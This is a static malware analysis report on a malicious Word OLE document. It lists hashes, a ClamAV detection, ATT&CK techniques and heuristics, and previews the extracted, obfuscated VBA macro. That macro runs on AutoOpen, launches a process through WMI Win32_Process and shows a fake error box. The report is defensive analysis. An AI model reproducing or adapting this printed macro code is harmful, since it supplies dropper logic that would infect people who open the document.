Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 854781967e533657…

MALICIOUS

Office (OLE)

202.2 KB Created: 2019-11-29 20:50:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: b74a9cd66c7e2f98d70acdfcdd2446f3 SHA-1: d71a8d331daddd3ed6a133bcc31fa44639952838 SHA-256: 854781967e533657f40f135d875efcd77472b02c5e6c61d8e2c6040ae900969c
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. The critical heuristic 'OLE_VBA_WMI_PROCESS_CREATE' indicates the macro attempts to launch a process using WMI's Win32_Process launcher. This suggests the macro's purpose is to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-7421754-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-7421754-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15376 bytes
SHA-256: b113c8648c7112692771e89927435a82455c4155ddf2eba92214ac382ead7c1b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Fgacvgxhhke"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Urjrdzofrsm, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Tqfasyte, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Cktyvdtcf, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Lhtpibsswgll, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Lbnvpziklvbw, 4, 4, MSForms, TextBox"
Attribute VB_Control = "Sqxsferk, 5, 5, MSForms, TextBox"
Attribute VB_Control = "Iedzuvzd, 6, 6, MSForms, TextBox"
Attribute VB_Control = "Eeumbavtnpn, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Pwnvrmkf, 8, 8, MSForms, TextBox"
Attribute VB_Control = "Hlaunbzz, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Bnabgirnq, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Nykkvndvuwdw, 11, 11, MSForms, TextBox"

Attribute VB_Name = "Mdoaosycel"
Attribute VB_Base = "0{CE1BDD93-65F9-4A4E-A2EA-B0E3C7F0298D}{F8E0856A-FE12-4DBD-BD50-ED01E304C1BB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Igymmqmqbzcsc"
Function Fghavoytg()
On Error Resume Next
   For Jrjfnzjofkoyw = 0 To 1
      Do While uvVX181 And eyMF274i
         wGMLU = Oct(Dvza0)
      Loop
      While Msv > 7040
         iuDHz60 = 343 + tUdJ4 * JLHT3F * Oct(68 * Int(4483)) - 370 / ChrW(kQmf - Chr(jpqV1a51 / Tan(WryfXov1 * Wnt) * UzvE * CByte(8 - 8620 - ZRZ + CaVK)) + 70 - 46)
      Wend
      For Each ovywT In cADKMK4GE
         WXGE = 692 / Int(ToL) - AZBF9iC3l + Tan(puHif0 + CDbl(kBcHA9 - CLng(323325919))) - zpa + EAEMd96x * NKrnh8 + Round(jMqe58) * TGpO9d05 * STCa
      Next
      QFbpJQc6 = (NwmyFu - Sgn(oVrK656Z) / (10 - qLzIJN))
      For Each GGBz6r7 In Cijg8
         ScfOmFsu = WQRjlp
      Next
Next
Fghavoytg = CreateObject((Akupgzyvr)).Create#(Xecstfsvpj(""), Vqjjzwpewchrg, Cbexxpajarj, Qqoygyof)
   For Uvxhilzsty = 0 To 1
      Do While uvVX181 And eyMF274i
         wGMLU = Oct(Dvza0)
      Loop
      While Msv > 7040
         iuDHz60 = 343 + tUdJ4 * JLHT3F * Oct(68 * Int(4483)) - 370 / ChrW(kQmf - Chr(jpqV1a51 / Tan(WryfXov1 * Wnt) * UzvE * CByte(8 - 8620 - ZRZ + CaVK)) + 70 - 46)
      Wend
      For Each ovywT In cADKMK4GE
         WXGE = 692 / Int(ToL) - AZBF9iC3l + Tan(puHif0 + CDbl(kBcHA9 - CLng(323325919))) - zpa + EAEMd96x * NKrnh8 + Round(jMqe58) * TGpO9d05 * STCa
      Next
      QFbpJQc6 = (NwmyFu - Sgn(oVrK656Z) / (10 - qLzIJN))
      For Each GGBz6r7 In Cijg8
         ScfOmFsu = WQRjlp
      Next
Next
Kmalvuxk = MsgBox(("Critical Error Encountered"), ("16"), Mdoaosycel.Rrvpemlpxta)
   For Aajgyttpnj = 0 To 1
      Do While uvVX181 And eyMF274i
         wGMLU = Oct(Dvza0)
      Loop
      While Msv > 7040
         iuDHz60 = 343 + tUdJ4 * JLHT3F * Oct(68 * Int(4483)) - 370 / ChrW(kQmf - Chr(jpqV1a51 / Tan(WryfXov1 * Wnt) * UzvE * CByte(8 - 8620 - ZRZ + CaVK)) + 70 - 46)
      Wend
      For Each ovywT In cADKMK4GE
         WXGE = 692 / Int(ToL) - AZBF9iC3l + Tan(puHif0 + CDbl(kBcHA9 - CLng(323325919))) - zpa + EAEMd96x * NKrnh8 + Round(jMqe58) * TGpO9d05 * STCa
      Next
      QFbpJQc6 = (NwmyFu - Sgn(oVrK656Z) / (10 - qLzIJN))
      For Each GGBz6r7 In Cijg8
         ScfOmFsu = WQRjlp
      Next
Next
End Function
Sub autoopen()
On Error Resume Next
   For Myuhfbqshvkln = 0 To 1
      Do While uvVX181 And eyMF274i
         wGMLU = Oct(Dvza0)
      Loop
      While Msv > 7040
         iuDHz60 = 343 + tUdJ4 * JLHT3F * Oct(68 * Int(4483)) - 370 / ChrW(kQmf - Chr(jpqV1a51 / Tan(WryfXov1 * Wnt) * UzvE * CByte(8 - 8620 - ZRZ + CaVK)) + 70 - 46)
      Wend
      For Each ovywT In cADKMK4GE
         WXGE = 692 / Int(ToL) - AZBF9iC3l + Tan(puHif0 + CDbl(kBcHA9 - CLng(323325919))) - zpa + EAEMd96x * 
... (truncated)